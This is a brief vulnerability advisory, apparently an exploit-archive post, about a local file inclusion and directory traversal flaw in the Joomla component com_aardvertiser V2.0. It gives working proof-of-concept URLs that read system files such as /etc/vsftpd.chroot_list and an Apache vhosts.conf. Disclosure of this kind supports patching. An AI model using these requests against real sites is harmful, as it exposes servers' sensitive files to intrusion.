Joomla Component advertising (com_aardvertiser) File Inclusion Vulnerability

[eidelweiss () cyberservices com]

Description
A vulnerability has been discovered in the advertising component for Joomla, which can be exploited by malicious people 
to disclose potentially sensitive information.

Input passed to the '"task" parameter in index.php (when "option" is set to "com_aardvertiser") is not properly 
verified before being used to include files. This can be exploited to include arbitrary files from local resources via 
directory traversal attacks.

The vulnerability is confirmed in Joomla 1.5 com_aardvertiser V2.0.

Impact : Exposure of system information
              Exposure of sensitive information
Where :  From remote 

        -=[Exploit]=-

        http://localhost/index.php?option=com_aardvertiser&cat_name=conf&task= [lfi]
        http://localhost/index.php?option=com_aardvertiser&task= [lfi]

        -=[LFI]=-

        /etc/vsftpd.chroot_list
        /usr/local/etc/apache/vhosts.conf

        -=[ P0C ]=-

        http://localhost/index.php?option=com_aardvertiser&cat_name=conf&task=/usr/local/etc/apache/vhosts.conf
        http://localhost/index.php?option=com_aardvertiser&task=/etc/vsftpd.chroot_list

=========================| -=[ E0F ]=- |=================================